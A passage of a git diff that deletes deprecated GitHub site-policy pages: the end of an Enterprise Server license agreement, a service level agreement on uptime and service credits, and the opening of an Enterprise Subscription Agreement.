and if Customer purchases the additional Subscription Licenses, Customer must pay the then-currently applicable Fees for them, prorated for the balance of the applicable Subscription Term. Upon renewal of Customer’s Subscription Licenses for another Subscription Term, GitHub will invoice all Subscription Licenses at once on an annual basis unless otherwise specified in an Order Form. - -**8.3** _Add-On Software._ Add-On Software is licensed on a per User basis. For the avoidance of doubt, and unless otherwise set forth in an Order Form, the number of Subscription Licenses Customer has at any given time for Add-On Software must equal the number of Subscription Licenses Customer has for the Products under this Agreement. For example, if Customer wishes to purchase a subscription to Advanced Security and already holds Subscription Licenses for 100 Users for the Products, it must purchase Subscription Licenses for 100 Users for Advanced Security. - -**9. Delivery.** GitHub will make the License Key available for Customer to download on a secure, password-protected website. All deliveries under this Section 9 will be electronic. For the avoidance of doubt, Customer is responsible for installation of any Software and acknowledge that GitHub has no further delivery obligation with respect to the Software after delivery of the License Key. As Updates become available, GitHub will make those available for download on the same website. Customer must Update the Software on a commercially reasonable basis but no less than one (1) time per year. Customer is responsible for maintaining the confidentiality of Customer’s usernames and passwords. - -**10. Verification.** At GitHub's request, Customer will promptly provide GitHub with a Software-generated report verifying that Customer is using the Software in accordance with this Agreement. GitHub will invoice Customer for any additional use, effective from the date its use first exceeded the terms of the Agreement. - -**11. Support.** - -**11.1** _Standard Support._ GitHub will provide standard technical Support for the Software at no additional charge twenty-four (24) hours per day, five (5) days per week, excluding weekends and national U.S. holidays. Standard Support is only offered via web-based ticketing through GitHub Support, and Support requests must be initiated from a User with which GitHub's Support team can interact. GitHub may provide premium Support (subject to the [Premium Support for Enterprise Server terms](/support/learning-about-github-support/about-github-premium-support)) or dedicated technical Support for the Software at the Support level, Fees, and Subscription Term specified in an Order Form or SOW. - -**11.2** _Enhanced Support Offerings._ GitHub may provide enhanced Support offerings for the Software (including the Premium, Premium Plus, and Engineering Direct Support offerings) in accordance with the [Support terms](/support/learning-about-github-support/about-github-premium-support), and at the Support level, Fees, and Subscription Term specified in an Order Form or SOW. - -**11.3** _Exclusions._ GitHub will use reasonable efforts to correct any material, reproducible errors in the Software of which Customer notifies GitHub. However, GitHub will not be responsible for providing Support where (i) someone (other than GitHub) modifies the Software; (ii) Customer changes its operating system or environment in a way that adversely affects the Software or its performance; (iii) Customer uses the Software in a manner other than as authorized under this Agreement or the Documentation; or (iv) there is negligence or misuse by Customer of the Software. - -**11.4** _Updates; Releases._ GitHub will only Support a given Release of the Software for one (1) year from the original Release date, or six (6) months from the last Update of the Release, whichever is longer. If Customer requires Support for earlier Releases of the Software, then Customer must pay for that Support in accordance with the terms of a mutually agreed upon Order Form or SOW. - -**12. Professional Services.** Upon Customer’s request for Professional Services, GitHub will provide an SOW detailing such Professional Services. GitHub will perform the Professional Services described in each SOW. GitHub will control the manner and means by which the Professional Services are performed and reserves the right to determine personnel assigned. GitHub may use third parties to perform the Professional Services, provided that GitHub remains responsible for their acts and omissions. Customer acknowledges and agrees that GitHub retains all right, title and interest in and to anything used or developed in connection with performing the Professional Services, including software, tools, specifications, ideas, concepts, inventions, processes, techniques, and know-how. To the extent GitHub delivers anything to Customer while performing the Professional Services, GitHub grants to Customer a non-exclusive, non-transferable, worldwide, royalty-free, limited-term license to use those deliverables during the term of this Agreement, solely in conjunction with Customer’s use of the Software. - -**13. Limited Warranties.** - -**13.1** _Limited Software Warranties_. GitHub warrants that: (i) the unmodified Software, at the time it is made available to Customer for download, will not contain or transmit any malware, viruses, or worms (otherwise known as computer code or other technology specifically designed to disrupt, disable, or harm Customer’s software, hardware, computer system, or network) and (ii) for ninety (90) days from the date it is made available for initial download, the unmodified Software will substantially conform to its Documentation. GitHub does not warrant that Customer’s use of the Software will be uninterrupted, or that the operation of the Software will be error-free. The warranty in this Section 13.1 will not apply if Customer modifies or uses the Software in any way that is not expressly permitted by this Agreement and the Documentation. GitHub's only obligation, and Customer’s only remedy, for any breach of this warranty will be, at GitHub's option and expense, to either (a) repair the Software; (b) replace the Software; or (c) terminate this Agreement with respect to the defective Software, and refund the unused, prepaid Fees for the defective Software during the then-current Subscription Term. - -**13.2** _Professional Services Warranty._ GitHub warrants to Customer that any Professional Services performed under this Agreement will be performed in a professional and workmanlike manner by appropriately qualified personnel. GitHub's only obligation, and Customer’s only remedy, for a breach of this warranty will be, at GitHub's option and expense, to either: (i) promptly re-perform any Professional Services that fail to meet this warranty or (ii) if the breach cannot be cured, terminate the SOW and refund the unused, prepaid Fees. - -**13.3** _General Warranty._ Each Party represents and warrants that it has the legal power and authority to enter into this Agreement, and that this Agreement and each Order Form is entered into by an employee or agent of such Party with all necessary authority to bind such Party to the terms and conditions of this Agreement. - -**13.4** _Beta Previews._ Customer may choose to use Beta Previews in its sole discretion. Beta Previews may not be supported and may be changed at any time without notice. Beta Previews may not be as reliable or available as the Software. Beta Previews are not subject to the same security measures to which the Software has been and is subject. GitHub will have no liability arising out of or in connection with Beta Previews. **CUSTOMER USERS BETA PREVIEWS AT ITS OWN RISK.** - -**13.5** _Warranty Disclaimer._ THE LIMITED WARRANTIES DESCRIBED ABOVE ARE THE ONLY WARRANTIES GITHUB MAKES WITH RESPECT TO THE SOFTWARE, PROFESSIONAL SERVICES, AND SUPPORT. GITHUB DOES NOT MAKE ANY OTHER WARRANTIES AND REPRESENTATIONS OF ANY KIND, AND HEREBY SPECIFICALLY DISCLAIMS ANY OTHER WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, OR ANY WARRANTIES OR CONDITIONS ARISING OUT OF COURSE OF DEALING OR USAGE OF TRADE. NO ADVICE OR INFORMATION, WHETHER ORAL OR WRITTEN, PROVIDED BY GITHUB OR ANYWHERE ELSE WILL CREATE ANY WARRANTY OR CONDITION NOT EXPRESSLY STATED IN THIS AGREEMENT. - -**14. Defense of Claims; Release.** - -The Parties will defend each other against third-party claims, as and to the extent set forth in this Section 14 and will pay the amount of any resulting adverse final judgment or approved settlement, but only if the defending Party is promptly notified in writing of the claim and has the right to control the defense and any settlement of it. The Party being defended must provide the defending Party with all requested assistance, information, and authority. The defending Party will reimburse the other Party for reasonable out-of-pocket expenses it incurs in providing assistance, and will not settle or make any admissions with respect to a third-party claim without the other Party’s prior written consent, not to be unreasonably withheld or delayed. This Section 14 describes the Parties’ sole remedies and entire liability for such claims. - -**14.1** _GitHub_. GitHub will defend Customer against any claim brought by an unaffiliated third party to the extent it alleges Customer’s authorized use of the Software infringes a copyright, patent, or trademark or misappropriates a trade secret of an unaffiliated third party. If GitHub is unable to resolve any such claim under commercially reasonable terms, it may, at its option, either: (a) modify, repair, or replace the Software (as applicable); or (b) terminate Customer’s subscription and refund any prepaid, unused subscription Fees. GitHub will have no obligation under this Section 14.1 for any such claim arising from: (i) the modification of the Software, or the combination, operation, or use of the Software with equipment, devices, software, systems, or data, other than as expressly authorized by this Agreement (including the Documentation); (ii) Customer’s failure to stop using the Software after receiving notice to do so; (iii) Customer’s obligations under Section 14.2; (iv) products or services (including use of the Software) that are provided by GitHub free of charge; or (v) access or use of Beta Previews. For purposes of GitHub’s obligation under this Section 14.1, the Software includes open source components incorporated by GitHub therein. - -**14.2** _Customer_. Customer will defend GitHub against any claim brought by an unaffiliated third party arising from: (i) Customer Content that Customer uploads to the Software; (ii) Customer's violation of this Agreement, including Customer’s breach of confidentiality; (iii) Customer Modifications to the Software; or (iv) any third party-branded equipment, devices, software, systems, or data that Customer combines, operates, or uses with the Software. - -**15. LIMITATION OF LIABILITY.** - -**15.1** _No Indirect Damages_. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT WILL EITHER PARTY BE LIABLE TO THE OTHER PARTY OR TO ANY THIRD PARTY FOR ANY INDIRECT, SPECIAL, INCIDENTAL, PUNITIVE, OR CONSEQUENTIAL DAMAGES (INCLUDING FOR LOSS OF PROFITS, REVENUE, OR DATA) OR FOR THE COST OF OBTAINING SUBSTITUTE PRODUCTS ARISING OUT OF OR IN CONNECTION WITH THIS AGREEMENT, HOWEVER CAUSED, WHETHER SUCH LIABILITY ARISES FROM ANY CLAIM BASED UPON CONTRACT, WARRANTY, TORT (INCLUDING NEGLIGENCE), STRICT LIABILITY OR OTHERWISE, AND WHETHER OR NOT A PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - -**15.2** _Limitation of Total Liability_. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT WILL EITHER PARTY’S TOTAL CUMULATIVE LIABILITY UNDER THIS AGREEMENT FROM ALL CAUSES OF ACTION AND ALL THEORIES OF LIABILITY EXCEED THE FEES CUSTOMER HAS ACTUALLY PAID TO GITHUB DURING THE TWELVE (12) MONTHS PRECEDING THE CLAIM GIVING RISE TO SUCH LIABILITY. FOR PRODUCTS AND SERVICES THAT ARE PROVIDED FREE OF CHARGE, GITHUB’S LIABILITY IS LIMITED TO DIRECT DAMAGES UP TO $5,000.00 USD. FOR BETA PREVIEWS, GITHUB’S LIABILITY IS LIMITED TO DIRECT DAMAGES UP TO $500.00 USD. - -**15.3** _Exceptions_. The exclusions and limitations set forth in this Section 15 will not apply to liability arising out of (1) Customer’s non-compliance with the license grant or license restrictions in Sections 2 and 3; (2) a Party’s defense obligations in Section 14; or (c) a Party’s breach of its confidentiality obligations in Section 16. - -**16. Confidentiality.** - -**16.1** _Definition of Confidential Information_. For the purposes of this Agreement, "Confidential Information" means any business or technical information that either Party discloses to the other, in writing, orally, or by any other means, including disclosures like computer programs, code, algorithms, data, know-how, formulas, processes, ideas, inventions (whether patentable or not), schematics and other technical, business, financial, and product development plans, names and expertise of employees and consultants, and customer lists. For the purposes of this Agreement, except as expressly set forth in Section 2.1, the source code of the Software will be deemed to be GitHub's Confidential Information, regardless of whether it is marked as such. - -**16.2** _Restrictions on Use and Disclosure._ Neither Party will use the other Party's Confidential Information, except as permitted under this Agreement. Each Party agrees to maintain in confidence and protect the other Party's Confidential Information using at least the same degree of care as it uses for its own information of a similar nature, but in all events at least a reasonable degree of care. Each Party agrees to take all reasonable precautions to prevent any unauthorized disclosure of the other Party's Confidential Information, including, without limitation, disclosing Confidential Information only to its employees, independent contractors, consultants, and legal and financial advisors (collectively, "Representatives") (i) with a need to know such information, (ii) who are parties to appropriate agreements sufficient to comply with this Section 16, and (iii) who are informed of the non-disclosure obligations imposed by this Section 1. Each Party is responsible for all acts and omissions of its Representatives. The foregoing obligations will not restrict either Party from disclosing Confidential Information of the other Party pursuant to the order or requirement of a court, administrative agency, or other governmental body, provided that the Party required to make such a disclosure gives reasonable notice to the other Party to enable them to contest such order or requirement. The restrictions set forth in this Section 16 will survive the termination or expiration of this Agreement. - -**16.3** _Exclusions_. The restrictions set forth in Section 16.2 will not apply with respect to any Confidential Information that: (i) was or becomes publicly known through no fault of the receiving party; (ii) was rightfully known or becomes rightfully known to the receiving party without confidential or proprietary restriction from a source other than the disclosing party who has a right to disclose it; (iii) is approved by the disclosing party for disclosure without restriction in a written document which is signed by a duly authorized officer of such disclosing party; or (iv) the receiving party independently develops without access to or use of the other Party's Confidential Information. - -**17. Term and Termination.** - -**17.1** _Agreement_ _Term_. This Agreement starts on the Agreement Effective Date and will continue in effect until this Agreement is terminated by a Party in accordance with this Section 1. If this Agreement is terminated before the expiration or termination of a Subscription Term, then any active Order Forms will remain in force pursuant to the terms of this Agreement. - -**17.2** _Termination for Convenience_. Either Party may terminate an Order Form, with or without cause, upon at least thirty (30) days written notice before the end of the then-current Subscription Term. - -**17.3** _Termination for Material Breach_. Either Party may terminate this Agreement immediately upon notice if the other Party breaches a material obligation under this Agreement and fails to cure the breach within thirty (30) days from the date it receives notification. Either Party reserves the right to terminate this Agreement immediately upon written notice, but without giving the other Party a cure period, if Customer breaches any of the terms of this Agreement relating to GitHub's intellectual property (including Customer's compliance with the license grant and any license restrictions) or either Party's Confidential Information. - -**17.4** _Effect of Termination; Survival._ When this Agreement terminates or expires, Customer may not execute additional Order Forms; however, the Agreement will remain in full force and effect for the remainder of any active Order Forms. When an Order Form terminates or expires, as to that Order Form: (i) the Subscription Term for any Software will immediately end; (ii) Customer will no longer have the right to use the Software, and any Subscription Licenses granted in the Order Form will automatically cease to exist as of the date of termination or expiration; (iii) if any Fees were owed prior to termination, Customer must pay those Fees immediately; (iv) Customer must destroy all copies of the Software in its possession or control, and certify in writing to GitHub that it has done so; and (v) each Party will promptly return to the other (or, if the other party requests it, destroy) all Confidential Information belonging to the other. Notwithstanding the foregoing, Customer may continue to access the Software to migrate its data for ninety (90) days after termination or expiration of this Agreement or an Order Form; however, Customer must not use the Software on a production basis during that time. Any terms or sections which by their nature should reasonably survive will survive the termination or expiration of this Agreement or an Order Form. - -**18. General Provisions.** - -**18.1** _Compliance with Laws and Regulations._ Customer will comply with all applicable laws and regulations, including, but not limited to, data protection and employment laws and regulations, in its use of the Products. - -**18.2** _Data Protection Considerations for Use of GitHub Insights and Learning Lab for Enterprise Server._ If Customer’s planned use of GitHub Insights or Learning Lab for Enterprise Server involves processing personal data, Customer is solely responsible for determining whether or not to complete a data protection impact assessment or otherwise secure formal legal analysis of Customer’s planned use. It is in Customer’s sole discretion whether to use GitHub Insights or Learning Lab for Enterprise Server to process Customer’s employees’ and/or users’ data, and if Customer does so, Customer is solely responsible for conducting such processing in compliance with applicable law. - -**18.3** _Governing Law; Venue._ For Customers domiciled in the United States, Canada, Mexico, or a country in Central or South America or the Caribbean (the "Americas"), this Agreement will be governed by and construed in accordance with the laws of the State of California, as if performed wholly within the state and without giving effect to the principles of conflict of law. For such Customers, any legal action or proceeding arising under this Agreement will be brought exclusively in the federal or state courts located in the Northern District of California and the parties hereby consent to personal jurisdiction and venue therein. If Customer’s principal office is outside the Americas, this Agreement will be governed by the laws of Ireland, any legal action or proceeding arising under this Agreement will be brought exclusively in the courts located in Dublin, and the Parties hereby consent to personal jurisdiction and venue therein. The Parties expressly agree that the United Nations Convention on Contracts for the International Sale of Goods and the Uniform Computer Information Transactions Act will not apply to this Agreement. Notwithstanding the foregoing, GitHub may bring a claim for equitable relief in any court with proper jurisdiction. - -**18.4** _Government Users._ The Products and Documentation were developed solely with private funds and are considered "Commercial Computer Software" and "Commercial Computer Software Documentation" as described in Federal Acquisition Regulations 12.212 and 27.405-3, and Defense Federal Acquisition Regulation Supplement 227.7202-3. The Products are licensed to the United States Government end user as restricted computer software and limited rights data. No technical data or computer software is developed under this Agreement. Any use, disclosure, modification, distribution, or reproduction of the Products or Documentation by the United States Government or its contractors is subject to the restrictions set forth in this Agreement. All other use is prohibited. - -**18.5** _Export._ The Products are subject to export and sanctions restrictions administered by the U.S. Government and import restrictions by certain foreign governments, and Customer will comply with all applicable export and import laws and regulations in Customer’s use of the Products. Customer must not, and must not allow any third party to, remove or export from the United States or allow the export or re-export of any part of the Products or any direct product thereof: (i) into (or to a national or resident of) any embargoed or terrorist-supporting country or territory; (ii) to anyone on the U.S. Commerce Department’s Entity List or Table of Denial Orders, anyone blocked pursuant to rules administered by the U.S. Office of Foreign Assets Control, including anyone on the List of Specially Designated Nationals or sanctioned country “Government” entities, or anyone subject to other applicable prohibited or sanctioned persons lists; (iii) to any country or territory to which such export or re-export is restricted or prohibited, or as to which the U.S. government or any agency thereof requires an export license or other governmental approval at the time of export or re-export without first obtaining such license or approval; or (iv) otherwise in violation of any export, sanctions, or import restrictions, laws or regulations of any United States or foreign agency or authority. Customer represents and warrants that Customer is not located in under the control of, or a national or resident of any such prohibited country or territory or on any such prohibited party list. GitHub Enterprise Server is a self-hosted virtual appliance that can be run within Customer’s own datacenter or virtual private cloud. As such, GitHub Enterprise Server can be used to store ITAR or other export-controlled information. However, Customer is responsible for ensuring such compliance. Customer acknowledges and agrees that the Products are restricted from being used for the design or development of nuclear, chemical, or biological weapons or missile technology without the prior required permission of the U.S. government. - -**18.6** _No Publicity without Permission._ GitHub may identify Customer as a customer to current and prospective customers. However, GitHub may not use Customer’s name or logo in any advertising or marketing materials without Customer’s permission. - -**18.7** _Assignment_. Neither Party may assign or otherwise transfer this Agreement, in whole or in part, without the other Party's prior written consent, such consent not to be unreasonably withheld, and any attempt to do so will be null and void, except that GitHub may assign this Agreement in its entirety, upon notice to the other party but without the other Party's consent, in connection with a merger, acquisition, corporate reorganization, or sale of all or substantially all of the assigning party's business or assets. - -**18.8** _Notices_. Unless otherwise stated herein, any notice, request, demand or other communication under this Agreement must be in writing (e-mail is acceptable), must reference this Agreement, and will be deemed to be properly given: (i) upon receipt, if delivered personally; (ii) one (1) business day following confirmation of receipt by the intended recipient, if by e-mail; (iii) five (5) business days after it is sent by registered or certified mail, with written confirmation of receipt and email; or (iv) three (3) business days after deposit with an internationally recognized express courier and email, with written confirmation of receipt. Notices can be sent to the address(es) set forth in this Agreement, unless a Party notifies the other that those addresses have changed. - -**18.9** _Force Majeure_. GitHub will be excused from liability to the extent that it is unable to perform any obligation under this Agreement due to extraordinary causes beyond its reasonable control, including acts of God, natural disasters, strikes, lockouts, riots, acts of war, epidemics, or power, telecommunication or network failures. - -**18.10** _Independent Contractors_. The Parties are each independent contractors with respect to the subject matter of this Agreement. Nothing contained in this Agreement will be deemed or construed in any manner to create a legal association, partnership, joint venture, employment, agency, fiduciary, or other similar relationship between the Parties, and neither Party can bind the other contractually. - -**18.11** _Waiver_. A Party's obligations under this Agreement must only be waived in a writing signed by an authorized representative of the other Party, which waiver will be effective only with respect to the specific obligation described. No failure or delay by a Party to this Agreement in exercising any right hereunder will operate as a waiver thereof, nor will any single or partial exercise thereof preclude any other or further exercise thereof or the exercise of any right hereunder at law or equity. - -**18.12** _Entire Agreement_. This Agreement, including each Order Form and SOW, constitutes the entire agreement and understanding of the Parties with respect to its subject matter, and supersedes all prior or contemporaneous understandings and agreements, whether oral or written, between the Parties with respect to its subject matter. The terms of any purchase order, written terms or conditions, or other document that Customer submits to GitHub that contains terms that are different from, in conflict with, or in addition to the terms of this Agreement, SOW or any Order Form will be void and of no effect. - -**18.13** _Amendments; Order of Precedence_. GitHub reserves the right to amend this Agreement at any time and will update the terms and conditions of this Agreement in the event of any such amendments. Changes to this Agreement will become effective upon the anniversary of Customer's then-current Subscription Term. In the event of a conflict between this Agreement and an Order Form, an Order Form will govern with respect to that order only. This Agreement and any addenda, including an Order Form, must control and no modification, change, or amendment of this Agreement will be binding upon the Parties or supersede the terms of this Agreement unless it is in writing, and is duly signed by each Party's authorized representative. - -**18.14** _Severability_. If any provision of this Agreement is deemed by a court of competent jurisdiction to be illegal, invalid, or unenforceable, the court will modify or reform this Agreement to give as much effect as possible to that provision. Any provision that cannot be modified or reformed in this way will be deemed deleted and the remaining provisions of this Agreement will continue in full force and effect. diff --git a/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md b/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md deleted file mode 100644 index 80a77f4d81e8..000000000000 --- a/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: GitHub Enterprise Service Level Agreement -hidden: true -redirect_from: - - /github-enterprise-cloud-addendum - - /github-business-cloud-addendum - - /articles/github-enterprise-cloud-addendum - - /github/site-policy/github-enterprise-service-level-agreement - - /github/site-policy-deprecated/github-enterprise-cloud-addendum -versions: - fpt: '*' ---- - -_These terms apply to Customers who licensed the Products prior to January 4, 2021. Customers who purchase GitHub Products after that date are directed to https://github.com/customer-terms for current terms._ - -**Short version:** GitHub guarantees a 99.9% quarterly uptime commitment for the applicable GitHub service (the “**Service Level**” or “**SLA**”). If GitHub does not meet the SLA, then Customer will be entitled to a service credit to Customer’s account (“**Service Credits**”). - -For definitions of each Service feature (“**Service Feature**”) and to review historical and current Uptime, visit the [GitHub Status Page](https://www.githubstatus.com/). Capitalized terms used but not defined in this SLA have the meaning assigned in Customer’s applicable agreement. - -## Uptime Guarantee - -“**Uptime**” is the percentage of total possible minutes the applicable GitHub service was available in a given calendar quarter. GitHub commits to maintain at least 99.9% Uptime for the applicable GitHub service. The Uptime calculation for each Service Feature that may be included with the applicable GitHub service is described below (“**Uptime Calculation**”). If GitHub does not meet the SLA, Customer will be entitled to Service Credits based on the calculation below (“**Service Credits Calculation**”). Note, Downtime does not affect every customer at the same time or in the same way. - -| **Service Feature** | **Uptime Calculation** | **Definitions** | **Service Credits Calculation** | -|---|---|---|---| -| **Issues**,
**Pull Requests**,
**Git Operations**,
**API Requests (for Service Features only)**,
**Webhooks**,
**Pages** | (total minutes in a calendar quarter - Downtime) / total minutes in a calendar quarter | “**Downtime**” is a period of time where either (a) the error rate exceeds five percent (5%) in a given minute for any Service Feature or (b) the Service was unavailable as determined by a combination of GitHub's internal and external monitoring systems. | A Service Credits claim may be based on either (not both) of the following calculations:
  • 10% of the amount Customer paid for a Service Feature in a calendar quarter where the Uptime for that Service Feature was less than or equal to 99.9%, but greater than 99.0%.

    OR

  • 25% of the amount Customer paid for a Service Feature in a calendar quarter where the Uptime of that Service Feature was less than 99.0%.
| | -| **Actions** | (Total Triggered Executions – Unavailable Executions) / (Total Triggered Executions) x 100 | “**Total Triggered Executions**” is the total number of all Actions executions triggered by Customer in a calendar quarter.

“**Unavailable Executions**” is the total number of executions within Total Triggered Executions which failed to run in a calendar quarter. An execution failed to run when the Actions history log did not capture any output five (5) minutes after the trigger was successfully fired. | Same as above | -| **Packages** | Transfers Uptime = same as Actions

Storage Uptime = 100% - Average Error Rate*

*The Uptime Calculation excludes public usage and storage transactions that do not count toward either Total Storage Transactions or Failed Storage Transactions (including pre-authentication failures; authentication failures; attempted transactions for storage accounts over their prescribed quotas). | “**Error Rate**” is the total number of Failed Storage Transactions divided by the Total Storage Transactions during a set time interval (currently set at one hour). If the Total Storage Transactions in a given one-hour interval is zero, the error rate for that interval is 0%.

“**Average Error Rate**” is the sum of Error Rates for each hour in a calendar quarter divided by the total number of hours in a calendar quarter. | Same as above | - -## Exclusions - -Excluded from the Uptime Calculation are Service Feature failures resulting from (i) Customer’s acts, omissions, or misuse of the applicable GitHub service including violations of the Agreement; (ii) failure of Customer’s internet connectivity; (iii) factors outside GitHub's reasonable control, including force majeure events; or (iv) Customer’s equipment, services, or other technology. - -## Service Credits Redemption - -If GitHub does not meet this SLA, Customer may redeem Service Credits only upon written request to GitHub within thirty (30) days of the end of the calendar quarter. Written requests for Service Credits redemption and GitHub Enterprise Cloud custom monthly or quarterly reports should be sent to GitHub using the contact form available at [GitHub Support](https://support.github.com/). - -Service Credits may take the form of a refund or credit to Customer’s account, cannot be exchanged into a cash amount, are limited to a maximum of ninety (90) days of paid service per calendar quarter, require Customer to have paid any outstanding invoices, and expire upon termination of Customer’s agreement with GitHub. Service Credits are the sole and exclusive remedy for any failure by GitHub to meet any obligations in this SLA. diff --git a/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md b/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md deleted file mode 100644 index e33c43318677..000000000000 --- a/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md +++ /dev/null @@ -1,464 +0,0 @@ ---- -title: GitHub Enterprise Subscription Agreement -hidden: true -redirect_from: - - /articles/github-enterprise-agreement - - /articles/github-enterprise-subscription-agreement - - /github/site-policy/github-enterprise-subscription-agreement - - /github/site-policy-deprecated/github-enterprise-subscription-agreement -versions: - fpt: '*' ---- - -_These terms apply to Customers who have executed agreements in place referencing them. All other corporate customers are directed to https://github.com/customer-terms for current terms._ - -This Agreement applies to the following GitHub offerings, as further defined below (collectively, the **"Products"**): - -* GitHub Enterprise (comprised of GitHub Enterprise Server, which may include Add-On Software, and GitHub Enterprise Cloud); - -* Any Beta Previews; - -* Any related Support; and - -* Any related Professional Services. - -This Agreement includes the following Sections and Exhibits, each of which is incorporated by reference herein: - -* SECTION 1: General Terms and Conditions; - -* SECTION 2: GitHub Enterprise Server License Terms; - -* SECTION 3: GitHub Enterprise Cloud Terms of Service; - -* EXHIBIT A: Definitions. - -If Customer has purchased any Products from an authorized GitHub reseller, the following Sections of this Agreement are superseded by the terms Customer has agreed upon with the GitHub reseller: Section 1.1 (Term and Termination); 1.2 (Payment); Section 2.3 (Delivery); and Section 2.4 (Verification). - -## SECTION 1: GENERAL TERMS AND CONDITIONS - -This Section 1 sets forth the terms and conditions applicable to Customer’s purchase and use of any of the Products. Capitalized terms used but not defined in the body of this Agreement are defined in Exhibit A. - -### 1.1 Term and Termination. - -#### 1.1.1 Term. - -This Agreement starts on the Effective Date and will continue in effect until terminated by a Party in accordance with this Section 1.1. - -#### 1.1.2 Termination for Convenience. Account Cancellation. - -Either Party may terminate an Order Form or this Agreement, without cause, upon at least thirty (30) days' prior written notice before the end of the then-current Subscription Term. If Customer elects to terminate an Order Form or Agreement, it is Customer's responsibility to properly cancel its account with GitHub by going into Settings in the global navigation bar at the top of the screen. GitHub cannot cancel accounts in response to an email or phone request. - -#### 1.1.3 Termination for Material Breach. - -Either Party may terminate this Agreement immediately upon notice if the other Party breaches a material obligation under this Agreement and fails to cure the breach within thirty (30) days from the date it receives notification. Each Party also reserves the right to terminate this Agreement immediately upon written notice, without giving the other Party a cure period, as follows: by GitHub, if Customer breaches any of the terms of this Agreement relating to GitHub's intellectual property (including Customer’s non-compliance with the license grant or any license restrictions), or if Customer’s account has been suspended for more than ninety (90) days; or by either Party, if the other breaches its confidentiality obligations in Section 1.4. - -#### 1.1.4 Effect of Termination; Survival. - -Upon termination of this Agreement, Customer may not execute additional Order Forms; however, this Agreement will remain in effect for the remainder of any active Order Forms. When an Order Form terminates or expires, as to that Order Form: (i) the Subscription Term for the Software and/or Service will immediately end; (ii) any Subscription Licenses in the Order Form will automatically terminate, and Customer will no longer have the right to use the Products; (iii) if any Fees were owed prior to termination, Customer must pay those Fees immediately; (iv) Customer must destroy all copies of the Software in Customer’s possession or control, and certify in writing to GitHub that Customer has done so; and (v) each Party will promptly return (or, if the other party requests it, destroy) all Confidential Information belonging to the other to the extent permitted by the Service. Notwithstanding the foregoing, Customer may continue to access the Software to migrate Customer’s data and may request migration of the data in its repositories for up to ninety (90) days after termination or expiration of this Agreement or an Order Form; however, Customer may not use the Software or Service on a production basis during that time. Any provisions which by their nature should reasonably survive will survive the termination or expiration of this Agreement or an Order Form. - -### 1.2 Payment. - -#### 1.2.1 Fees. - -Customer agrees to pay the Fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. Customer must pay the Fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as provided in Sections 1.5.1 and 1.6.2. If Customer fails to pay any Fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable Order Form or SOW. Customer is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement. - -#### 1.2.2 Purchasing Additional Subscription Licenses. - -Customer may obtain additional Subscription Licenses under this Agreement by submitting a request through GitHub’s website or via its sales team. If Customer purchases the additional Subscription Licenses, Customer must pay the then-currently applicable Fees for them, prorated for the balance of the applicable Subscription Term. Upon renewal of Customer’s Subscription Licenses for another Subscription Term, GitHub will invoice all Subscription Licenses at once on an annual basis unless otherwise specified in an Order Form. - -#### 1.2.3 Add-On Software. - -Add-On Software is licensed on a per User basis. For the avoidance of doubt, and unless otherwise set forth in an Order Form, the number of Subscription Licenses Customer has at any given time for Add-On Software must equal the number of Subscription Licenses Customer has for the Products under this Agreement. For example, if Customer wishes to purchase a subscription to Advanced Security and already holds Subscription Licenses for 100 Users for the Products, it must purchase Subscription Licenses for 100 Users for Advanced Security. - -### 1.3 Professional Services. - -Upon Customer’s request for Professional Services, GitHub will provide an SOW detailing such Professional Services. GitHub will perform the Professional Services described in each SOW. GitHub will control the manner and means by which the Professional Services are performed and reserves the right to determine personnel assigned. GitHub may use third parties to perform the Professional Services, provided that GitHub remains responsible for their acts and omissions. Customer acknowledges and agrees that GitHub retains all right, title and interest in and to anything used or developed in connection with performing the Professional Services, including software, tools, specifications, ideas, concepts, inventions, processes, techniques, and know-how. To the extent GitHub delivers anything to Customer while performing the Professional Services, GitHub grants to Customer a non-exclusive, non-transferable, worldwide, royalty-free, limited-term license to use those deliverables during the term of this Agreement, solely in conjunction with Customer’s use of the Software or Service. - -### 1.4 Confidentiality. - -Neither Party will use the other Party's Confidential Information, except as permitted under this Agreement. Each Party agrees to maintain in confidence and protect the other Party's Confidential Information using at least the same degree of care as it uses for its own information of a similar nature, but in any event at least a reasonable degree of care. Each Party agrees to take all reasonable precautions to prevent any unauthorized disclosure of the other Party's Confidential Information, including, without limitation, disclosing such Confidential Information only to its Representatives who (i) have a need to know such information, (ii) are parties to appropriate agreements sufficient to comply with this Section 1.4, and (iii) are informed of the restrictions on use and disclosure set forth in this Section 1.4. Each Party is responsible for all acts and omissions of its Representatives. The foregoing obligations will not restrict either Party from disclosing Confidential Information of the other Party pursuant to the order or requirement of a court, administrative agency, or other governmental body, provided that the Party required to make such a disclosure gives reasonable notice to the other Party to enable such Party to contest such order or requirement, unless such notice is prohibited by law. The restrictions set forth in this Section 1.4 will survive the termination or expiration of this Agreement. - -### 1.5 Defense of Claims. - -The Parties will defend each other against third-party claims, as and to the extent set forth in this Section 1.5 and will pay the amount of any resulting adverse final judgment or approved settlement, but only if the defending Party is promptly notified in writing of the claim and has the right to control the defense and any settlement of it. The Party being defended must provide the defending Party with all requested assistance, information, and authority. The defending Party will reimburse the other Party for reasonable out-of-pocket expenses it incurs in providing assistance, and will not settle or make any admissions with respect to a third-party claim without the other Party’s prior written consent, not to be unreasonably withheld or delayed. This Section 1.5 describes the Parties’ sole remedies 